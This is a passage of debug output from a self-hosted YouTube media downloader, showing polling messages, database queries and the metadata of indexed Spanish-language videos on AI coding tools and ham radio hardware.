processed. Will check again in 1000ms 22:27:03.769 [debug] Current batch of media processed. Will check again in 1000ms 22:27:03.826 [debug] Current batch of media processed. Will check again in 1000ms 22:27:04.770 [debug] Current batch of media processed. Will check again in 1000ms 22:27:04.827 [debug] Current batch of media processed. Will check again in 1000ms 22:27:05.771 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "👉🏼 Ep. 1️⃣4️⃣ : Vibe Coding y MCP's 🖥️\nEres CIO? Eres TechLead? Eres Progamador? Tienes Programadores en el equipo??? Tienes programas retrasados?? querrias hacer programas y no sabes como? Este capitulo te interesa... \n\nDavid García Martínez y yo os comentamos el estado del arte del Vibe Coding y de los MCP's servers... estoy seguro de que te va a sorprender.\n\nNuestro mundo (el de la tecnologia tambien) va a cambiar mucho... vamos a tener nuestro 10x programmers... y los que no los tengan o no lo sean van a tener que hacer otras cosas... pero programar no... \n\nEn la charla de hoy ... te contamos todo esto...\n\ny por favor 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#VibeCoding hashtag#MCP\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "duration" => 781, "filename" => "/downloads/music/IA mí QUÉ/EP.14: VIBE CODING.m4a", "id" => "gnT0UNsN_RA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gnT0UNsN_RA", "playlist_index" => 36, "timestamp" => 1749196560, "title" => "EP.14: VIBE CODING", "upload_date" => "20250606"} 22:27:05.773 [debug] QUERY OK source="sources" db=0.9ms idle=1011.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:27:05.774 [debug] QUERY OK source="sources" db=0.5ms idle=1013.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:27:05.775 [debug] QUERY OK source="media_items" db=0.8ms idle=1013.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-06 07:56:00Z], 2] 22:27:05.777 [debug] QUERY OK source="media_items" db=1.4ms idle=228.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👉🏼 Ep. 1️⃣4️⃣ : Vibe Coding y MCP's 🖥️\nEres CIO? Eres TechLead? Eres Progamador? Tienes Programadores en el equipo??? Tienes programas retrasados?? querrias hacer programas y no sabes como? Este capitulo te interesa... \n\nDavid García Martínez y yo os comentamos el estado del arte del Vibe Coding y de los MCP's servers... estoy seguro de que te va a sorprender.\n\nNuestro mundo (el de la tecnologia tambien) va a cambiar mucho... vamos a tener nuestro 10x programmers... y los que no los tengan o no lo sean van a tener que hacer otras cosas... pero programar no... \n\nEn la charla de hoy ... te contamos todo esto...\n\ny por favor 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#VibeCoding hashtag#MCP\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.14: VIBE CODING", "127d48f3-c4dd-4051-88d8-92514aeb3082", 781, false, "gnT0UNsN_RA", "https://www.youtube.com/watch?v=gnT0UNsN_RA", 36, "/downloads/music/IA mí QUÉ/EP.14: VIBE CODING.m4a", false, false, false, 2, [], 97, ~U[2025-06-06 07:56:00Z], ~U[2026-02-07 21:27:05Z], ~U[2026-02-07 21:27:05Z], "👉🏼 Ep. 1️⃣4️⃣ : Vibe Coding y MCP's 🖥️\nEres CIO? Eres TechLead? Eres Progamador? Tienes Programadores en el equipo??? Tienes programas retrasados?? querrias hacer programas y no sabes como? Este capitulo te interesa... \n\nDavid García Martínez y yo os comentamos el estado del arte del Vibe Coding y de los MCP's servers... estoy seguro de que te va a sorprender.\n\nNuestro mundo (el de la tecnologia tambien) va a cambiar mucho... vamos a tener nuestro 10x programmers... y los que no los tengan o no lo sean van a tener que hacer otras cosas... pero programar no... \n\nEn la charla de hoy ... te contamos todo esto...\n\ny por favor 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#VibeCoding hashtag#MCP\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.14: VIBE CODING", 781, false, "gnT0UNsN_RA", "https://www.youtube.com/watch?v=gnT0UNsN_RA", "/downloads/music/IA mí QUÉ/EP.14: VIBE CODING.m4a", false, 2, ~U[2025-06-06 07:56:00Z]] 22:27:05.778 [debug] QUERY OK source="sources" db=0.5ms idle=16.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:27:05.779 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:27:05.779 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1339] 22:27:05.780 [debug] Current batch of media processed. Will check again in 1000ms 22:27:05.828 [debug] Current batch of media processed. Will check again in 1000ms 22:27:06.780 [debug] Current batch of media processed. Will check again in 1000ms 22:27:06.829 [debug] Current batch of media processed. Will check again in 1000ms 22:27:07.781 [debug] Current batch of media processed. Will check again in 1000ms 22:27:07.830 [debug] Current batch of media processed. Will check again in 1000ms 22:27:08.782 [debug] Current batch of media processed. Will check again in 1000ms 22:27:08.831 [debug] Current batch of media processed. Will check again in 1000ms 22:27:09.783 [debug] Current batch of media processed. Will check again in 1000ms 22:27:09.832 [debug] Current batch of media processed. Will check again in 1000ms 22:27:10.784 [debug] Current batch of media processed. Will check again in 1000ms 22:27:10.833 [debug] Current batch of media processed. Will check again in 1000ms 22:27:11.785 [debug] Current batch of media processed. Will check again in 1000ms 22:27:11.834 [debug] Current batch of media processed. Will check again in 1000ms 22:27:12.786 [debug] Current batch of media processed. Will check again in 1000ms 22:27:12.835 [debug] Current batch of media processed. Will check again in 1000ms 22:27:13.787 [debug] Current batch of media processed. Will check again in 1000ms 22:27:13.836 [debug] Current batch of media processed. Will check again in 1000ms 22:27:14.788 [debug] Current batch of media processed. Will check again in 1000ms 22:27:14.837 [debug] Current batch of media processed. Will check again in 1000ms 22:27:15.789 [debug] Current batch of media processed. Will check again in 1000ms 22:27:15.838 [debug] Current batch of media processed. Will check again in 1000ms 22:27:16.790 [debug] Current batch of media processed. Will check again in 1000ms 22:27:16.839 [debug] Current batch of media processed. Will check again in 1000ms 22:27:17.791 [debug] Current batch of media processed. Will check again in 1000ms 22:27:17.840 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Hay un nuevo modelo de la placa para añadir recepción en HF a los walkies bibandas QuanSheng K5/K6. Está disponible en múltiples sitios, pero por ejemplo yo la adquirí aquí:\n\nhttps://es.aliexpress.com/item/1005006889414294.html (OJO seleccionar FINISHED o te enviarán la placa con los componentes sin montar).\n\nContenido del video\n00:00 - Inicio\n01:23 - Intro canal\n01:42 - Presentación de la placa\n04:25 - Abriendo el walkie\n05:20 - Placa original vs placa nueva\n07:27 - Montaje placa nueva\n16:59 - Inductor roto y lo cambiamos\n20:45 - Primeras pruebas\n22:28 - Cambiando condensador 100nF\n30:21 - Prueba final y conclusiones\n\n#quansheng #k6 #si4732 #hf #radioaficionados #hamradio #diyelectronics #radio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2114, "filename" => "/downloads/music/ea3grn/143 - NUEVA PLACA PARA AÑADIR HF A LOS WALKIES QUANSHENG K5 K6.m4a", "id" => "7ldkd2z5qE8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7ldkd2z5qE8", "playlist_index" => 38, "timestamp" => 1721318407, "title" => "143 - NUEVA PLACA PARA AÑADIR HF A LOS WALKIES QUANSHENG K5 K6", "upload_date" => "20240718"} 22:27:17.841 [debug] QUERY OK source="sources" db=0.7ms idle=269.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:27:17.842 [debug] QUERY OK source="sources" db=0.5ms idle=81.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:27:17.843 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=82.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-18 16:00:07Z], 3] 22:27:17.845 [debug] QUERY OK source="media_items" db=1.3ms idle=83.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hay un nuevo modelo de la placa para añadir recepción en HF a los walkies bibandas QuanSheng K5/K6. Está disponible en múltiples sitios, pero por ejemplo yo la adquirí aquí:\n\nhttps://es.aliexpress.com/item/1005006889414294.html (OJO seleccionar FINISHED o te enviarán la placa con los componentes sin montar).\n\nContenido del video\n00:00 - Inicio\n01:23 - Intro canal\n01:42 - Presentación de la placa\n04:25 - Abriendo el walkie\n05:20 - Placa original vs placa nueva\n07:27 - Montaje placa nueva\n16:59 - Inductor roto y lo cambiamos\n20:45 - Primeras pruebas\n22:28 - Cambiando condensador 100nF\n30:21 - Prueba final y conclusiones\n\n#quansheng #k6 #si4732 #hf #radioaficionados #hamradio #diyelectronics #radio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "143 - NUEVA PLACA PARA AÑADIR HF A LOS WALKIES QUANSHENG K5 K6", "a4fd51be-aaf1-4c2a-92d1-91b5e29a5f55", 2114, false, "7ldkd2z5qE8", "https://www.youtube.com/watch?v=7ldkd2z5qE8", 38, "/downloads/music/ea3grn/143 - NUEVA PLACA PARA AÑADIR HF A LOS WALKIES QUANSHENG K5 K6.m4a", false, false, false, 3, [], 98, ~U[2024-07-18 16:00:07Z], ~U[2026-02-07 21:27:17Z], ~U[2026-02-07 21:27:17Z], "Hay un nuevo modelo de la placa para añadir recepción en HF a los walkies bibandas QuanSheng K5/K6. Está disponible en múltiples sitios, pero por ejemplo yo la adquirí aquí:\n\nhttps://es.aliexpress.com/item/1005006889414294.html (OJO seleccionar FINISHED o te enviarán la placa con los componentes sin montar).\n\nContenido del video\n00:00 - Inicio\n01:23 - Intro canal\n01:42 - Presentación de la placa\n04:25 - Abriendo el walkie\n05:20 - Placa original vs placa nueva\n07:27 - Montaje placa nueva\n16:59 - Inductor roto y lo cambiamos\n20:45 - Primeras pruebas\n22:28 - Cambiando condensador 100nF\n30:21 - Prueba final y conclusiones\n\n#quansheng #k6 #si4732 #hf #radioaficionados #hamradio #diyelectronics #radio \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "143 - NUEVA PLACA PARA AÑADIR HF A LOS WALKIES QUANSHENG K5 K6", 2114, false, "7ldkd2z5qE8", "https://www.youtube.com/watch?v=7ldkd2z5qE8", "/downloads/music/ea3grn/143 - NUEVA PLACA PARA AÑADIR HF A LOS WALKIES QUANSHENG K5 K6.m4a", false, 3, ~U[2024-07-18 16:00:07Z]] 22:27:17.846 [debug] QUERY OK source="sources" db=0.5ms idle=84.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:27:17.847 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:27:17.848 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1367] 22:27:17.848 [debug] Current batch of media processed. Will check again in 1000ms 22:27:18.792 [debug] Current batch of media processed. Will check again in 1000ms 22:27:18.848 [debug] Current batch of media processed. Will check again in 1000ms 22:27:19.793 [debug] Current batch of media processed. Will check again in 1000ms 22:27:19.849 [debug] Current batch of media processed. Will check again in 1000ms 22:27:20.794 [debug] Current batch of media processed. Will check again in 1000ms 22:27:20.850 [debug] Current batch of media processed. Will check again in 1000ms 22:27:21.197 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:21.795 [debug] Current batch of media processed. Will check again in 1000ms 22:27:21.851 [debug] Current batch of media processed. Will check again in 1000ms 22:27:22.796 [debug] Current batch of media processed. Will check again in 1000ms 22:27:22.852 [debug] Current batch of media processed. Will check again in 1000ms 22:27:23.797 [debug] Current batch of media processed. Will check again in 1000ms 22:27:23.853 [debug] Current batch of media processed. Will check again in 1000ms 22:27:24.798 [debug] Current batch of media processed. Will check again in 1000ms 22:27:24.854 [debug] Current batch of media processed. Will check again in 1000ms 22:27:25.799 [debug] Current batch of media processed. Will check again in 1000ms 22:27:25.855 [debug] Current batch of media processed. Will check again in 1000ms 22:27:26.800 [debug] Current batch of media processed. Will check again in 1000ms 22:27:26.856 [debug] Current batch of media processed. Will check again in 1000ms 22:27:27.801 [debug] Current batch of media processed. Will check again in 1000ms 22:27:27.857 [debug] Current batch of media processed. Will check again in 1000ms 22:27:28.802 [debug] Current batch of media processed. Will check again in 1000ms 22:27:28.858 [debug] Current batch of media processed. Will check again in 1000ms 22:27:29.803 [debug] Current batch of media processed. Will check again in 1000ms 22:27:29.859 [debug] Current batch of media processed. Will check again in 1000ms 22:27:30.804 [debug] Current batch of media processed. Will check again in 1000ms 22:27:30.860 [debug] Current batch of media processed. Will check again in 1000ms 22:27:31.805 [debug] Current batch of media processed. Will check again in 1000ms 22:27:31.861 [debug] Current batch of media processed. Will check again in 1000ms 22:27:32.806 [debug] Current batch of media processed. Will check again in 1000ms 22:27:32.862 [debug] Current batch of media processed. Will check again in 1000ms 22:27:33.807 [debug] Current batch of media processed. Will check again in 1000ms 22:27:33.863 [debug] Current batch of media processed. Will check again in 1000ms 22:27:34.808 [debug] Current batch of media processed. Will check again in 1000ms 22:27:34.864 [debug] Current batch of media processed. Will check again in 1000ms 22:27:35.809 [debug] Current batch of media processed. Will check again in 1000ms 22:27:35.865 [debug] Current batch of media processed. Will check again in 1000ms 22:27:36.810 [debug] Current batch of media processed. Will check again in 1000ms 22:27:36.866 [debug] Current batch of media processed. Will check again in 1000ms 22:27:37.811 [debug] Current batch of media processed. Will check again in 1000ms 22:27:37.867 [debug] Current batch of media processed. Will check again in 1000ms 22:27:38.812 [debug] Current batch of media processed. Will check again in 1000ms 22:27:38.868 [debug] Current batch of media processed. Will check again in 1000ms 22:27:39.813 [debug] Current batch of media processed. Will check again in 1000ms 22:27:39.869 [debug] Current batch of media processed. Will check again in 1000ms 22:27:40.814 [debug] Current batch of media processed. Will check again in 1000ms 22:27:40.870 [debug] Current batch of media processed. Will check again in 1000ms 22:27:41.815 [debug] Current batch of media processed. Will check again in 1000ms 22:27:41.871 [debug] Current batch of media processed. Will check again in 1000ms 22:27:42.816 [debug] Current batch of media processed. Will check again in 1000ms 22:27:42.872 [debug] Current batch of media processed. Will check again in 1000ms 22:27:43.817 [debug] Current batch of media processed. Will check again in 1000ms 22:27:43.873 [debug] Current batch of media processed. Will check again in 1000ms 22:27:44.818 [debug] Current batch of media processed. Will check again in 1000ms 22:27:44.874 [debug] Current batch of media processed. Will check again in 1000ms 22:27:45.819 [debug] Current batch of media processed. Will check again in 1000ms 22:27:45.875 [debug] Current batch of media processed. Will check again in 1000ms 22:27:46.820 [debug] Current batch of media processed. Will check again in 1000ms 22:27:46.876 [debug] Current batch of media processed. Will check again in 1000ms 22:27:47.821 [debug] Current batch of media processed. Will check again in 1000ms 22:27:47.877 [debug] Current batch of media processed. Will check again in 1000ms 22:27:48.822 [debug] Current batch of media processed. Will check again in 1000ms 22:27:48.878 [debug] Current batch of media processed. Will check again in 1000ms 22:27:49.823 [debug] Current batch of media processed. Will check again in 1000ms 22:27:49.879 [debug] Current batch of media processed. Will check again in 1000ms 22:27:50.824 [debug] Current batch of media processed. Will check again in 1000ms 22:27:50.880 [debug] Current batch of media processed. Will check again in 1000ms 22:27:51.199 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:51.825 [debug] Current batch of media processed. Will check again in 1000ms 22:27:51.881 [debug] Current batch of media processed. Will check again in 1000ms 22:27:52.826 [debug] Current batch of media processed. Will check again in 1000ms 22:27:52.882 [debug] Current batch of media processed. Will check again in 1000ms 22:27:53.827 [debug] Current batch of media processed. Will check again in 1000ms 22:27:53.883 [debug] Current batch of media processed. Will check again in 1000ms 22:27:54.828 [debug] Current batch of media processed. Will check again in 1000ms 22:27:54.884 [debug] Current batch of media processed. Will check again in 1000ms 22:27:55.829 [debug] Current batch of media processed. Will check again in 1000ms 22:27:55.885 [debug] Current batch of media processed. Will check again in 1000ms 22:27:56.830 [debug] Current batch of media processed. Will check again in 1000ms 22:27:56.886 [debug] Current batch of media processed. Will check again in 1000ms 22:27:57.831 [debug] Current batch of media processed. Will check again in 1000ms 22:27:57.887 [debug] Current batch of media processed. Will check again in 1000ms 22:27:58.832 [debug] Current batch of media processed. Will check again in 1000ms 22:27:58.888 [debug] Current batch of media processed. Will check again in 1000ms 22:27:59.833 [debug] Current batch of media processed. Will check again in 1000ms 22:27:59.889 [debug] Current batch of media processed. Will check again in 1000ms 22:28:00.104 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:00.834 [debug] Current batch of media processed. Will check again in 1000ms 22:28:00.890 [debug] Current batch of media processed. Will check again in 1000ms 22:28:01.835 [debug] Current batch of media processed. Will check again in 1000ms 22:28:01.891 [debug] Current batch of media processed. Will check again in 1000ms 22:28:02.836 [debug] Current batch of media processed. Will check again in 1000ms 22:28:02.892 [debug] Current batch of media processed. Will check again in 1000ms 22:28:03.837 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Bueno el de hoy es de los espectaculares.... con el master and comander de David García Martínez aunque os he de decir que como lo teníamos grabado de antes de que saliera VEO3 no lo nombramos así que pronto os la actualizaremos por que ha mejorado sustancialmente las IA's que hoy os comentamos.\n\nPero esto es la IA de un dia a otro ... todo ha cambiado!!! por eso estamos aqui!!!\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#freepick \nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "duration" => 649, "filename" => "/downloads/music/IA mí QUÉ/EP.13: TEXTO A VÍDEO.m4a", "id" => "QlPDiQLIu8w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=QlPDiQLIu8w", "playlist_index" => 37, "timestamp" => 1749196472, "title" => "EP.13: TEXTO A VÍDEO", "upload_date" => "20250606"} 22:28:03.838 [debug] QUERY OK source="sources" db=0.5ms idle=1077.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:28:03.839 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=181.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:28:03.840 [debug] QUERY OK source="media_items" db=0.8ms idle=78.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-06 07:54:32Z], 2] 22:28:03.842 [debug] QUERY OK source="media_items" db=1.2ms idle=80.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Bueno el de hoy es de los espectaculares.... con el master and comander de David García Martínez aunque os he de decir que como lo teníamos grabado de antes de que saliera VEO3 no lo nombramos así que pronto os la actualizaremos por que ha mejorado sustancialmente las IA's que hoy os 